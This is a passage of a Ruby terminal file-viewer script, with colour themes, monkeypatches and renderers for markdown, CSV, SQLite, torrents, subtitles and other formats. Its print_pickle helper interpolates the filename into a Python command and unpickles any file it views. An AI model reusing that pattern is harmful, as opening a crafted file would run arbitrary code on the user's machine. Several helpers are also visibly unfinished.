'&#8212;' => '--', '&#8230;' => '...', '&#39;' => "'", '&#8217;' => "'", '&#8216;' => "'", '&#62;' => ">", '&#60;' => "<", } THEMES = { siberia: {:class=>"\e[34;1m", :class_variable=>"\e[34;1m", :comment=>"\e[33m", :constant=>"\e[34;1m", :error=>"\e[37;44m", :float=>"\e[33;1m", :global_variable=>"\e[33;1m", :inline_delimiter=>"\e[32m", :instance_variable=>"\e[34;1m", :integer=>"\e[33;1m", :keyword=>"\e[36m", :method=>"\e[36;1m", :predefined_constant=>"\e[36;1m", :symbol=>"\e[36m", :regexp=>{:modifier=>"\e[36m", :self=>"\e[34;1m", :char=>"\e[36;1m", :content=>"\e[34;1m", :delimiter=>"\e[34m", :escape=>"\e[36m"}, :shell=>{:self=>"\e[34;1m", :char=>"\e[36;1m", :content=>"\e[34;1m", :delimiter=>"\e[36m", :escape=>"\e[36m"}, :string=>{:self=>"\e[34;1m", :char=>"\e[36;1m", :content=>"\e[34;1m", :delimiter=>"\e[36m", :escape=>"\e[36m"}}, ocean: {:class=>"\e[38;5;11m", :class_variable=>"\e[38;5;131m", :comment=>"\e[38;5;8m", :constant=>"\e[38;5;11m", :error=>"\e[38;5;0;48;5;131m", :float=>"\e[38;5;173m", :global_variable=>"\e[38;5;131m", :inline_delimiter=>"\e[38;5;137m", :instance_variable=>"\e[38;5;131m", :integer=>"\e[38;5;173m", :keyword=>"\e[38;5;139m", :method=>"\e[38;5;4m", :predefined_constant=>"\e[38;5;131m", :symbol=>"\e[38;5;10m", :regexp=>{:modifier=>"\e[38;5;10m", :self=>"\e[38;5;10m", :char=>"\e[38;5;152m", :content=>"\e[38;5;152m", :delimiter=>"\e[38;5;10m", :escape=>"\e[38;5;137m"}, :shell=>{:self=>"\e[38;5;10m", :char=>"\e[38;5;152m", :content=>"\e[38;5;10m", :delimiter=>"\e[38;5;10m", :escape=>"\e[38;5;137m"}, :string=>{:self=>"\e[38;5;10m", :char=>"\e[38;5;152m", :content=>"\e[38;5;10m", :delimiter=>"\e[38;5;10m", :escape=>"\e[38;5;137m"}}, modern: {:class=>"\e[38;5;207;1m", :class_variable=>"\e[38;5;80m", :comment=>"\e[38;5;24m", :constant=>"\e[38;5;32;1;4m", :error=>"\e[38;5;31m", :float=>"\e[38;5;204;1m", :global_variable=>"\e[38;5;220m", :inline_delimiter=>"\e[38;5;41;1m", :instance_variable=>"\e[38;5;80m", :integer=>"\e[38;5;37;1m", :keyword=>"\e[38;5;167;1m", :method=>"\e[38;5;70;1m", :predefined_constant=>"\e[38;5;14;1m", :symbol=>"\e[38;5;83;1m", :regexp=>{:modifier=>"\e[38;5;204;1m", :self=>"\e[38;5;208m", :char=>"\e[38;5;208m", :content=>"\e[38;5;213m", :delimiter=>"\e[38;5;208;1m", :escape=>"\e[38;5;41;1m"}, :shell=>{:self=>"\e[38;5;70m", :char=>"\e[38;5;70m", :content=>"\e[38;5;70m", :delimiter=>"\e[38;5;15m", :escape=>"\e[38;5;41;1m"}, :string=>{:self=>"\e[38;5;41m", :char=>"\e[38;5;41m", :content=>"\e[38;5;41m", :delimiter=>"\e[38;5;41;1m", :escape=>"\e[38;5;41;1m"}}, solarized: {:class=>"\e[38;5;136m", :class_variable=>"\e[38;5;33m", :comment=>"\e[38;5;240m", :constant=>"\e[38;5;136m", :error=>"\e[38;5;254m", :float=>"\e[38;5;37m", :global_variable=>"\e[38;5;33m", :inline_delimiter=>"\e[38;5;160m", :instance_variable=>"\e[38;5;33m", :integer=>"\e[38;5;37m", :keyword=>"\e[38;5;246;1m", :method=>"\e[38;5;33m", :predefined_constant=>"\e[38;5;33m", :symbol=>"\e[38;5;37m", :regexp=>{:modifier=>"\e[38;5;160m", :self=>"\e[38;5;64m", :char=>"\e[38;5;160m", :content=>"\e[38;5;64m", :delimiter=>"\e[38;5;160m", :escape=>"\e[38;5;160m"}, :shell=>{:self=>"\e[38;5;160m", :char=>"\e[38;5;160m", :content=>"\e[38;5;37m", :delimiter=>"\e[38;5;160m", :escape=>"\e[38;5;160m"}, :string=>{:self=>"\e[38;5;160m", :char=>"\e[38;5;160m", :content=>"\e[38;5;37m", :delimiter=>"\e[38;5;160m", :escape=>"\e[38;5;37m"}}, } CodeRay::Encoders::Terminal::TOKEN_COLORS.merge!(THEMES[:siberia]) ############################################################################## # Monkeypatches ############################################################################## class Pathname include Enumerable alias_method :to_source, :read def each return to_enum(:each) unless block_given? each_line { |line| yield line.chomp } end def filename basename.to_s end alias_method :name, :filename end ############################################################################## class String alias_method :to_source, :to_s # # Converts time duration strings (mm:ss, mm:ss.dd, hh:mm:ss, or dd:hh:mm:ss) to seconds. # (The reverse of Integer#to_hms) # def from_hms nums = split(':') nums[-1] = nums[-1].to_f if nums[-1] =~ /\d+\.\d+/ # convert fractional seconds to a float nums.map! { |n| n.is_a?(String) ? n.to_i : n } # convert the rest to integers nums_and_units = nums.reverse.zip %w[seconds minutes hours days] nums_and_units.map { |num, units| num.send(units) }.sum end end ############################################################################## class Numeric def commatize(char=",") int, frac = to_s.split(".") int = int.gsub /(\d)(?=\d{3}+(?:\.|$))(\d{3}\..*)?/, "\\1#{char}\\2" frac ? "#{int}.#{frac}" : int end # # Time methods # { 'second' => 1, 'minute' => 60, 'hour' => 60 * 60, 'day' => 60 * 60 * 24, 'week' => 60 * 60 * 24 * 7, 'month' => 60 * 60 * 24 * 30, 'year' => 60 * 60 * 24 * 365, }.each do |unit, scale| define_method(unit) { self * scale } define_method(unit+'s') { self * scale } end end ############################################################################## class Array # # Transpose an array that could have rows of uneven length # def transpose_with_padding max_width = map(&:size).max map { |row| row.rpad(max_width) }.transpose end # # Extend the array the target_width by adding nils to the end (right side) # def rpad!(target_width) if target_width > size and target_width > 0 self[target_width-1] = nil end self end # # Return a copy of this array which has been extended to target_width by adding nils to the end (right side) # def rpad(target_width) dup.rpad!(target_width) end end ############################################################################## class Object def ensure_string is_a?(String) ? self : to_s end end ############################################################################## def convert_htmlentities(s) s.gsub(/&[#\w]+;/) { |m| HTML_ENTITIES[m] || m } end def print_header(title, level=nil) colors = ["\e[33m\e[1m%s\e[0m", "\e[36m\e[1m%s\e[0m", "\e[34m\e[1m%s\e[0m", "\e[35m%s\e[0m"] level = level ? (level-1) : 0 color = colors[level] || colors[-1] grey = "\e[30m\e[1m%s\e[0m" bar = grey % ("-"*(title.size+4)) "#{bar}\n #{color % title}\n#{bar}\n\n" end def run(*args, &block) return Enumerator.new { |y| run(*args) { |io| io.each_line { |line| y << line } } } unless block_given? opts = (args.last.is_a? Hash) ? args.pop : {} args = [args.map(&:ensure_string)] if opts[:stderr] args << {err: [:child, :out]} elsif opts[:noerr] args << {err: File::NULL} end if env = opts[:env] env = env.map { |k,v| [k, v.ensure_string] }.to_h args.unshift env end IO.popen(*args, &block) end def lesspipe(*args) if args.any? and args.last.is_a?(Hash) options = args.pop else options = {} end output = args.first if args.any? params = [] params << "-i" params << "-R" unless options[:color] == false params << "-S" unless options[:wrap] == true if options[:tail] == true params << "+\\>" $stderr.puts "Seeking to end of stream..." end if options[:clear] params << "-X" params << "-F" unless options[:always] == true end IO.popen("less #{params * ' '}", "w") do |less| if output less.puts output else yield less end end rescue Errno::EPIPE, Interrupt # less just quit -- eat the exception. end def which(bin) ENV["PATH"].split(":").find do |path| result = File.join(path, bin) return result if File.exists? result end nil end def term_width require 'io/console' STDOUT.winsize.last end def concatenate_enumerables(*enums) enums = enums.map { |enum| enum.is_a?(String) ? enum.each_line : enum } Enumerator.new do |y| enums.each do |enum| enum.each { |e| y << e } end end end def show_image(filename) depends bins: "feh" system("feh", filename) "" end def tmp_filename(prefix="c", length=20) chars = [*'a'..'z'] + [*'A'..'Z'] + [*'0'..'9'] name = nil loop do name = "/tmp/#{prefix}-#{length.times.map { chars.sample }.join}" break unless File.exists?(name) end name end def shebang_lang(filename) if File.read(filename, 256) =~ /\A#!(.+)/ # Shebang! lang = case $1 when /(bash|zsh|sh|make|expect)/ then :bash when /ruby/ then :ruby when /perl/ then :ruby when /python/ then :python when /lua/ then :lua end end end def create_tmpdir(prefix="c-") alphabet = [*?a..?z, *?A..?Z, *?0..?9] suffix_size = 8 tmp_root = "/tmp" raise "Error: #{tmp_root} doesn't exist" unless File.directory? tmp_root loop do random_suffix = suffix_size.times.map { alphabet[rand(alphabet.size)] }.join('') random_dir = "#{prefix}#{random_suffix}" potential = File.join(tmp_root, random_dir) if File.exists? potential puts "#{potential} exists, trying another..." else Dir.mkdir(potential) return potential end end end def youtube_info(url) depends bins: "youtube-dl" require 'json' JSON.parse(run("youtube-dl", "--dump-json", "--write-auto-sub", url).to_a.join) end ############################################################################## def render_source(data, format) depends gems: "coderay_bash" CodeRay.scan(data, format).term end def render_ctags(arg) depends bins: "ctags" load "#{__dir__}/codetree" unless defined? CTags entities = CTags.parse(arg.to_s) longest_name_width = entities.map { |e| e.name.size }.max Enumerator.new do |y| y << "=== CTags Overview: =================" y << "" entities.each do |e| padding_size = (CTags::Entity::TYPE_LENGTH - e.type_name.to_s.size) padding_size = 0 if padding_size < 0 padding = " " * padding_size y << ( "<8>[<#{e.type_color}>#{e.type_name}<8>] " + padding + "<15>#{e.name.ljust(longest_name_width)}<8> " + "<7>#{e.expr}").colorize #"<7>#{CodeRay.scan(e.expr, :c).term}").colorize end y << "" y << "=== Source code: =================" y << "" end end def print_source(arg, lang=nil) depends gems: "coderay_bash" path = Pathname.new(arg) ext = path.extname #filename[/\.[^\.]+$/] filename = path.filename lang ||= shebang_lang(path) || EXT_HIGHLIGHTERS[ext] || FILENAME_HIGHLIGHTERS[filename] output = begin if ext == ".json" require 'json' begin data = File.read(arg) json = JSON.parse(data) CodeRay.scan(JSON.pretty_generate(json), :json).term rescue JSON::ParserError data end elsif lang.is_a? Array run(*lang, arg) elsif lang CodeRay.scan_file(path, lang).term else CodeRay.scan_file(path).term end rescue ArgumentError # Default is to dump file system information about the file and guess its magic type concatenate_enumerables run("file", path), run("ls", "-l", path) end if CTAGS_EXTS.include? ext output = concatenate_enumerables render_ctags(path), output end output end ############################################################################## # # Markdown to ANSI Renderer ("BlackCarpet") # # This class takes a little while to initialize, so instead of slowing down the script for every non-markdown file, # I've wrapped it in a proc which gets lazily loaded by `render_markdown` when needed. # BLACKCARPET_INIT = proc do begin require 'epitools/colored' require 'redcarpet' rescue LoadError return "\e[31m\e[1mNOTE: For colorized Markdown files, 'gem install epitools redcarpet'\e[0m\n\n" \ + print_source(filename) end class BlackCarpet < Redcarpet::Render::Base private def indented?(text) indent_sizes = text.lines.map{ |line| if line =~ /^(\s+)/ then $1 else '' end }.map(&:size) indent_sizes.all? {|dent| dent > 0 } end def unwrap(text) return text unless indented? text text.lines.to_a.map(&:strip).join ' ' end def indent(text,amount=2) text.lines.map{|line| " "*amount + line }.join end def smash(s) s&.downcase&.scan(/\w+/)&.join end public def normal_text(text) text end def raw_html(html) '' end def link(link, title, content) unless content&.[] /^Back / str = "" str += "<15>#{content}</15>" if content if title if smash(title) != smash(content) str += " <8>(</8><11>#{title}</11><8>)</8>" end elsif link str += " <8>(</8><9>#{link}</9><8>)</8>" end str.colorize end end def block_code(code, language1=nil) language = language1 language ||= "ruby" language = language.split.reject { |chunk| chunk["#compile"] }.first.gsub(/^\./, '') # language = language[1..-1] if language[0] == "." # strip leading "." # language = language.scan(/\.?(\w+)/).flatten.first language = "cpp" if language == "C++" language = "common-lisp" if language == "commonlisp" require 'coderay' if CodeRay::Scanners.list.include? language.to_sym "#{indent CodeRay.scan(code, language).term, 4}\n" else "#{indent render_rouge(code, language), 4}\n" end end def block_quote(text) indent paragraph(text) end def codespan(code) code&.cyan end def header(title, level, anchor=nil) color = case level when 1 then :light_yellow when 2 then :light_cyan when 3 then :light_blue else :purple end bar = ("-"*(title.size+4)).grey "#{bar}\n #{title.send(color)}\n#{bar}\n\n" end def double_emphasis(text) text.light_green end def emphasis(text) text.green end def linebreak "\n" end def paragraph(text) "#{indented?(text) ? text : unwrap(text)}\n\n" end def list(content, list_type) case list_type when :ordered @counter = 0 "#{content}\n" when :unordered "#{content}\n" end end def list_item(content, list_type) case list_type when :ordered @counter ||= 0 @counter += 1 " <8>#{@counter}.</8> #{content.strip}\n".colorize when :unordered " <8>*</8> #{content.strip}\n".colorize end end def table_cell(content, alignment) @cells ||= [] @cells << content content end def table_row(content) @rows ||= [] if @cells @rows << @cells.dup @cells.clear else @rows << [] end content end def table(header, body) headings = @rows.shift table = Terminal::Table.new(headings: headings, rows: @rows) @rows = [] "#{table}\n\n" end end BlackCarpet end def print_markdown(markdown) depends gems: ["redcarpet", "epitools"] begin require 'epitools/colored' require 'redcarpet' rescue LoadError return "\e[31m\e[1mNOTE: For colorized Markdown files, 'gem install epitools redcarpet'\e[0m\n\n" \ + markdown end # Lazily load markdown renderer BLACKCARPET_INIT.call unless defined? BlackCarpet options = { no_intra_emphasis: true, fenced_code_blocks: true, } begin require 'terminal-table' carpet = Redcarpet::Markdown.new(BlackCarpet, options.merge(tables: true)) rescue LoadError carpet = Redcarpet::Markdown.new(BlackCarpet, options) end convert_htmlentities carpet.render(markdown) end ############################################################################## def print_asciidoc(data) depends gems: "asciidoctor" IO.popen(["asciidoctor", "-o", "-", "-"], "r+") do |io| io.write(data) io.close_write print_html(io.read) end end ############################################################################## def print_epub(file) depends gems: 'epub-parser' require 'epub/parser' epub = EPUB::Parser.parse(file) Enumerator.new do |out| epub.each_page_on_spine do |page| out << print_html(page.read) out << "" end end end ############################################################################## def moin2markdown(moin) convert_tables = proc do |s| chunks = s.each_line.chunk { |line| line.match? /^\s*\|\|.*\|\|\s*$/ } flattened = chunks.map do |is_table, lines| if is_table lines.map.with_index do |line,i| cols = line.scan(/(?<=\|\|)([^\|]+)(?=\|\|)/).flatten newline = cols.join(" | ") newline << " |" if cols.size == 1 newline << "\n" if i == 0 sep = cols.map { |col| "-" * col.size }.join("-|-") + "\n" if cols.all? { |col| col.match? /__.+__/ } # table has headers! [newline, sep] else empty_header = (["..."]*cols.size).join(" | ") + "\n" [empty_header, sep, newline] end else newline end end else lines end end.flatten flattened.join end markdown = moin. gsub(/^(={1,5}) (.+) =+$/) { |m| ("#" * $1.size ) + " " + $2 }. # headers gsub(/'''/, "__"). # bolds gsub(/''/, "_"). # italics gsub(/\{\{(?:attachment:)?(.+)\}\}/, "![](\\1)"). # images gsub(/\[\[(.+)\|(.+)\]\]/, "[\\2](\\1)"). # links w/ desc gsub(/\[\[(.+)\]\]/, "[\\1](\\1)"). # links w/o desc gsub(/^#acl .+$/, ''). # remove ACLs gsub(/^<<TableOfContents.+$/, ''). # remove TOCs gsub(/^## page was renamed from .+$/, ''). # remove 'page was renamed' gsub(/^\{\{\{\n^#!raw\n(.+)\}\}\}$/m, "\\1"). # remove {{{#!raw}}}s # TODO: convert {{{\n#!highlight lang}}}s (2-phase: match {{{ }}}'s, then match first line inside) gsub(/\{\{\{\n?#!(?:highlight )?(\w+)\n(.+)\n\}\}\}$/m, "```\\1\n\\2\n```"). # convert {{{#!highlight lang }}} to ```lang ``` gsub(/\{\{\{\n(.+)\n\}\}\}$/m, "```\n\\1\n```") # convert {{{ }}} to ``` ``` markdown = convert_tables[markdown] end def print_moin(moin) print_markdown(moin2markdown(moin)) end ############################################################################## def wikidump_dir?(path) ["*-current.xml", "*-titles.txt"].all? { |pat| path.glob(pat).any? } end def print_wikidump(filename) depends gem: "nokogiri" require 'nokogiri' require 'date' doc = Nokogiri::XML(open(filename)) Enumerator.new do |out| doc.search("page").each do |page| title = page.at("title").inner_text rev = page.at("revision") date = DateTime.parse(rev.at("timestamp").inner_text).strftime("%Y-%m-%d") body = rev.at("text").inner_text # out << "<8>=== <15>#{title} <7>(<11>#{date}<7>) <8>=========================".colorize out << "\e[30m\e[1m=== \e[0m\e[37m\e[1m#{title} \e[0m\e[37m(\e[0m\e[36m\e[1m#{date}\e[0m\e[37m) \e[0m\e[30m\e[1m=========================\e[0m" out << "" out << body # parsed_page = WikiCloth::Parser.new(params: { "PAGENAME" => title }, data: body) # out << parsed_page.to_html out << "" out << "" end end end ############################################################################## def print_bookmarks(filename) depends gem: "nokogiri" require 'nokogiri' doc = Nokogiri::HTML(open(filename)) Enumerator.new do |out| doc.search("a").each do |a| out << "\e[1;36m#{a.inner_text}\e[0m" out << " #{a["href"]}" out << "" end end end ############################################################################## def print_rst(filename) depends(bin: "rst2ansi", install: "pip install rst2ansi") result = run("rst2ansi", filename, noerr: true) if $?&.success? result else run("rst2ansi", filename) end end ############################################################################## def print_orgmode(input) markdown = render_pandoc(input, "org", "markdown") print_markdown markdown end ############################################################################## def print_doc(filename) out = tmp_filename if which("wvText") system("wvText", filename, out) result = File.read out File.unlink out result elsif which("catdoc") run "catdoc", filename else "\e[31m\e[1mError: Coudln't find a .doc reader; install 'wv' or 'catdoc'\e[0m" end end ############################################################################## def print_rtf(filename) if which("catdoc") width = term_width - 5 run "catdoc", "-m", width.to_s, filename else "\e[31m\e[1mError: Coudln't find an .rtf reader; install 'catdoc'\e[0m" end end ############################################################################## def print_srt(filename) return to_enum(:print_srt, filename) unless block_given? last_time = 0 enum = Pathname.new(filename).each loop do n = enum.next times = enum.next a, b = times.split(" --> ").map { |s| s.gsub(",", ".").from_hms } gap = -last_time + a yield "" if gap > 1 yield "" if gap > 6 yield "" if gap > 40 yield "------------------\n\n" if gap > 100 loop do line = enum.next break if line.empty? yield line.gsub(/<\/?[^>]+>/, "") end last_time = b end end def print_vtt(filename) return to_enum(:print_vtt, filename) unless block_given? grey = "\e[1;30m" white = "\e[0m" strip_colors = proc do |line| line.gsub(%r{<[^>]+>}i, '').strip end last_time = 0 enum = Pathname.new(filename).each enum.take_while { |line| line[/^(\#\#|WEBVTT)$/] } enum.take_while { |line| line.strip == "" } prev = nil loop do times = enum.next a, b = times.split.values_at(0,2) #.map(&:from_hms) printed_timestamp = false loop do break if (line = enum.next).empty? stripped = convert_htmlentities( strip_colors[line] ) unless stripped.empty? or stripped == prev unless printed_timestamp yield "#{grey}#{a} #{white}#{stripped}" printed_timestamp = true else yield "#{grey}#{" " * (a ? a.size : 0)} #{white}#{stripped}" end prev = stripped end end end end # { # "replayChatItemAction": { # "actions": [ # { # "addChatItemAction": { # "item": { # "liveChatPaidMessageRenderer": { # "id": "ChwKGkNKN3ZpOGVLOXZNQ0ZhZ0oxZ0FkcFc4SFhR", # "timestampUsec": "1635732565095710", # "authorName": { # "simpleText": "<NAME>" # }, # "authorPhoto": { # "thumbnails": [ # { # "url": "https://yt4.ggpht.com/ytc/AKedOLTBEpF1BF5NWK1yIUvWrYe66MnTlOah79cDxgE=s32-c-k-c0x00ffffff-no-rj", # "width": 32, # "height": 32 # }, # { # "url": "https://yt4.ggpht.com/ytc/AKedOLTBEpF1BF5NWK1yIUvWrYe66MnTlOah79cDxgE=s64-c-k-c0x00ffffff-no-rj", # "width": 64, # "height": 64 # } # ] # }, # "purchaseAmountText": { # "simpleText": "$5.00" # }, # "message": { # "runs": [ # { # "text": "Reduce some harm" # } # ] # }, # "headerBackgroundColor": 4278239141, # "headerTextColor": 4278190080, # "bodyBackgroundColor": 4280150454, # "bodyTextColor": 4278190080, # "authorExternalChannelId": "UCQeU_a1_bf2p5pKBDJzt7bA", # "authorNameTextColor": 2315255808, # "contextMenuEndpoint": { # "commandMetadata": { # "webCommandMetadata": { # "ignoreNavigation": true # } # }, # "liveChatItemContextMenuEndpoint": { # "params": "<KEY> # } # }, # "timestampColor": 2147483648, # "contextMenuAccessibility": { # "accessibilityData": { # "label": "Comment actions" # } # }, # "timestampText": { # "simpleText": "8:54" # } # } # } # } # } # ], # "videoOffsetTimeMsec": "534012" # } # } def print_youtube_chat_json(filename) # return to_enum(:print_youtube_chat_json, filename) unless block_given? require 'json' require 'pp' Enumerator.new do |out| f = filename[/\.gz$/] ? zopen(filename) : open(filename) # open(filename) do |f| begin f.each_line do |line| begin event = JSON.parse line ms = event.dig("replayChatItemAction", "videoOffsetTimeMsec").to_i h, ms = ms.divmod(60*60*1000) m, ms = ms.divmod(60*1000) s = ms / 1000.0 time = "%0.2d:%0.2d:%05.2f" % [h,m,s] time << "0" if time =~ /\.$/ time << "0" if time =~ /\.\d$/ event.dig("replayChatItemAction", "actions").each do |action| item = action.dig("addChatItemAction", "item") next unless item message = item["liveChatTextMessageRenderer"] || item["liveChatPaidMessageRenderer"] next unless message user = message.dig("authorName", "simpleText") body = message.dig("message", "runs")&.map do |r| if text = r["text"] text elsif emoji = r.dig("emoji", "emojiId") # "emojiId"=>"<KEY>" if emoji.size > 5 # "shortcuts"=>[":chillwcat:"] emoji = r.dig("emoji", "shortcuts").first end emoji else raise "wat #{event}" end end&.join donation = message.dig("purchaseAmountText", "simpleText") result = "" # result << "<8>[<7>#{time}<8>] " # result << "<4>[<14>#{donation}<4>] " if donation # result << "<8>{<9>#{user}<8>} <7>#{body}" result << "\e[30m\e[1m[\e[0m\e[37m#{time}\e[0m\e[30m\e[1m]\e[0m " result << "\e[31m[\e[0m\e[33m\e[1m#{donation}\e[0m\e[31m] \e[0m" if donation result << "\e[0m\e[30m\e[1m<\e[0m\e[34m\e[1m#{user}\e[0m\e[30m\e[1m> \e[0m\e[37m#{body}\e[0m" out << result end rescue => e out << "oops, #{e}" out << e.backtrace.pretty_inspect out << events.pretty_inspect end end end end end ############################################################################## def print_iso(filename) run("lsiso", filename, stderr: true) end ############################################################################## def print_ipynb(filename) require 'json' json = JSON.load(open(filename)) output = [] json["cells"].each do |c| case c["cell_type"] when "markdown" output << "#{c["source"].join}\n\n" when "code" # FIXME: Hardwired to python; check if a cell's metadata attribute supports other languages output << "\n```python\n#{c["source"].join}\n```\n\n" else raise "unknown cell type: #{c["cell_type"]}" end end print_markdown(output.join) end ############################################################################## def print_torrent(filename) depends gem: 'bencode' require 'bencode' require 'digest/sha1' data = BEncode.load_file(filename) date = data["creation date"] && Time.at(data["creation date"]) name = data.dig "info", "name" infohash = Digest::SHA1.hexdigest(BEncode.dump data["info"]) files = data["info"]["files"] trackers = [data["announce"], *data["announce-list"]].compact urls = data["url-list"] col1_size = files.map { |f| f["length"] }.max.to_s.size if files comment = data["comment"] creator = data["created by"] piece_size = data.dig "info", "piece length" pieces = data.dig("info", "pieces").size / 20 total_size = data.dig("info", "length") || files && files.map { |f| f["length"] }.reduce(:+) output = [] output << "Name: #{name}" if name output << "Created At: #{date}" if date output << "Infohash: #{infohash}" output << "Comment: #{comment}" if comment output << "Created By: #{creator}" if creator output << "Pieces: #{pieces.commatize} @ #{piece_size.commatize} bytes = ~#{(pieces * piece_size).commatize} bytes" output << "Total Size: #{total_size.commatize}" output << "" if files files.sort_by { |f| [-f["path"].size, f["path"]] }.each do |f| output << "#{f["length"].to_s.rjust(col1_size)} | #{f["path"].join("/")}" end output << "" end { "Trackers:" => trackers, "URLs:" => urls }.each do |title, things| if things output << "----------------" output << title output << "----------------" things.each {|t| output << t } output << "" end end # data["info"]["pieces"] = "[...#{data["info"]["pieces"].size} bytes of binary data...]" output.join("\n") end ############################################################################## def print_ffprobe(arg) result = run("ffprobe", "-hide_banner", arg, stderr: true) highlight_lines_with_colons(result) end ############################################################################## def print_exif(arg) if $exiftool_available ||= which("exiftool") run("exiftool", arg, stderr: true) elsif $exiv2_available ||= which("exiv2") run("exiv2", "pr", arg, stderr: true) else raise "Error: we need either 'exiftool' or 'exiv2' to show image information" end end ############################################################################## def print_cp437(filename) open(filename, "r:cp437:utf-8", &:read).gsub("\r", "") end ############################################################################## def demangle_cpp_name(name) # tests = { # _ZN9wikipedia7article6formatEv => [:wikipedia, :article, :formatEv] # _ZN3MapI10StringNameN12VisualScript8FunctionE10ComparatorIS0_E16DefaultAllocatorEixERKS0_ # _ZN11MethodBind1IN17VisualScriptYield9YieldModeEE7ptrcallEP6ObjectPPKvPv # godot_variant_as_dictionary # _ZN15RigidBodyBullet18KinematicUtilities18copyAllOwnerShapesEv # _ZNK16GDScriptLanguage26debug_get_stack_level_lineEi # _ZZNK16GDScriptLanguage26debug_get_stack_level_lineEiE12__FUNCTION__ # } # # TESTS["demangle_cpp_name"] = { # test: -> { |args| demangle_cpp_name(*args) } # args: [] # expected_result: "" # } x = "_ZZN16VectorWriteProxyIN15RigidBodyBullet14KinematicShapeEEixEiE12__FUNCTION__" if x =~ /^_(Z+)N(\d+)(.+)/ len_str_len = $1.size len_str = $2 assert (len_str = $2).size == (len_str_len = $1.size) buf = "#{$2}{$3}" syms = [] loop do if buf =~ /^(\d+)(.+)/ len = $1.to_i syms << $2[0...len] buf = [buf[0..len], *buf.match(/(\d+)(.+)/).captures] end end else nil end end def print_obj(filename) highlight_lines_with_colons(run("objdump", "-xT", filename)) end ############################################################################## # def print_sqlite(filename) # stats = run("sqlite3", filename, ".dbinfo").read # schema = run("sqlite3", filename, ".schema --indent").read # print_header("Statistics:",1) + # stats + "\n" + # print_header("Schema:",2) + # CodeRay.scan(schema, :sql).term # end def print_sqlite(filename) return to_enum(:print_sqlite, filename) unless block_given? depends gems: ["sequel", "sqlite3"] require 'sequel' require 'pp' Sequel.sqlite(filename) do |db| db.tables.each do |table| yield print_header("#{table}", 1) schemas = db[:sqlite_master].where(tbl_name: "#{table}").select(:sql).map(&:values).flatten.join("\n") yield CodeRay.scan(schemas, :sql).term yield "" begin db[table].each { |row| yield CodeRay.scan(row.pretty_inspect, :ruby).term } rescue Sequel::DatabaseError => e yield e.inspect end yield "" yield "" end end end ############################################################################## def leveldb_dir?(path) # Example leveldb dir: # 000005.ldb 000007.ldb 000008.log CURRENT LOCK LOG LOG.old MANIFEST-000006 path/"CURRENT" and path/"LOG" and path.glob("*.ldb").any? end def print_leveldb(path) depends gem: "leveldb" require 'leveldb' require 'epitools/colored' db = LevelDB::DB.new(path.to_s) Enumerator.new do |y| y << "<8>=== <15>LevelDB Stats: <8>==================================".colorize y << "" y << db.stats y << "" y << "" y << "<8>=== <15>Database Contents:<8>==================================".colorize y << "" db.each do |key, val| y << key.inspect.light_cyan # CodeRay::Encoders::Terminal::TOKEN_COLORS[:method] y << " #{val.inspect}" end end end ############################################################################## def print_ssl_certificate(filename) depends bins: "openssl" fail = /unable to load (certificate|private key)/i result = run("openssl", "rsa", "-noout", "-text", "-in", filename, stderr: true) if result.any? { |line| line =~ fail } %w[pem der net].each do |cert_format| result = run("openssl", "x509", "-fingerprint", "-text", "-noout", "-inform", cert_format, "-in", filename, stderr: true) break unless result.any? { |line| line =~ fail } end end highlight_lines_with_colons(result) end ############################################################################## def print_gpg(filename) depends bins: "gpg" run("gpg", "--list-packets", "-v", filename) end ############################################################################## def print_pickle(filename) depends bins: "python" run("python", "-c", "import pickle; print(repr(pickle.load(open('#{filename}', 'rb'))))", filename) end ############################################################################## def print_csv(filename) # TODO: detect headers by parsing the first few lines, and compare the first row to the rest, checking if there's any number fields (rationale: most CSVs have number columns, but the headers are usually text, so if there's a colum with numbers and a text header, the first row is probably headers) (hint for fast detection: `CSV.parse_line(line)` parses a single row) require 'csv' plain = "\e[0m" grey = "\e[30;1m" red = "\e[31;1m" cyan = "\e[36;1m" dark_cyan = "\e[36m" if filename[/\.xls$/i] io = IO.popen(["xls2csv", filename], "rb") csv = CSV.new(io) #, row_sep: "\r\n") else if filename[/\.tsv$/i] separator = "\t" else tabs, commas = open(filename, "rb") { |f| f.each_line.take(5) }.map(&:chomp).map { |l| l.scan(%r{(,|\t)})}.flatten.partition { |e| e == "\t" } separator = tabs.size > commas.size ? "\t" : "," end csv = CSV.open(filename, "rb", col_sep: separator) end numbered_rows = csv.map.with_index do |row, n| clean_row = row.map { |cell| cell && cell.strip } [n.to_s, *clean_row] end col_maxes = numbered_rows.map { |row| row.map { |cell| cell && cell.size } }. transpose_with_padding. map {|col| col.compact.max.to_i } header = numbered_rows.shift header[0] = "" sep = grey + col_maxes.map { |max| "-" * max }.join("-|-") + plain render_row = proc do |row, textcolor| cells = row.zip(col_maxes).map.with_index do |(col, max), i| padded = (col || "nil").ljust(max) color = if i == 0 dark_cyan elsif col textcolor else red end "#{color}#{padded}" end cells.join("#{grey} | ") end [ render_row.call(header, cyan), sep, *numbered_rows.map { |therow| render_row.call(therow, plain) } ].join("\n") end ############################################################################## # TODO: wide view improvement: put ascii chars side by each, but stack hex digits topwise def print_hex(arg, side_by_side=true) depends gems: "epitools" require 'epitools/colored' require 'io/console' height, width = $stdout.winsize ################################################################################## # # Constants in the calculation of bytes_per_line: # 3 chars per hex byte # 8 chars for the offset # 6 chars total for padding # 2 chars for margins # (the rest is the bytes_per_line) # bytes_per_line = side_by_side ? (width - 16) / 4 : (width - 9) / 2 # ^^^^^^^^^^^^^^^ Derived from: bytes_per_line = Term.width - 3*bytes_per_line - 8 - 6 - 2 empty_line = ["\0"] * bytes_per_line skip_begins_at = nil # Highlight spans of a certain size sector_size = nil # if opts[:sectors] # 512 # elsif opts[:chunks] # opts[:chunks].to_i # else # nil # end highlight_colors = { hex: [7, 15], text: [3, 11] } # highlight = proc do |type, chars, offset| colors = highlight_colors[type] sector_num, underlap = offset.divmod(sector_size) overlap = sector_size - underlap chunks = [] if underlap >= 0 color = colors[sector_num % 2] chunks << [ "<#{color}>", chars[0...overlap] ] end (overlap..chars.size).step(sector_size).with_index do |chunk_offset, index| color = colors[(sector_num + index + 1) % 2] chunks << [ "<#{color}>", chars[chunk_offset...chunk_offset+sector_size] ] end chunks.flatten end # # # # Super awesome `highlight` test # # # sector_size = 4 # 1000.times do |offset| # print "\e[2J" # puts highlight.(:hex, "highlight.the.shit.out.of.me", offset) # sleep 0.1 # end # exit ################################################################################## Enumerator.new do |output| ### classic_print_line = proc do |chars, line| offset = bytes_per_line * line # Skip nulls if chars == empty_line skip_begins_at = offset unless skip_begins_at next end if skip_begins_at skip_length = offset - 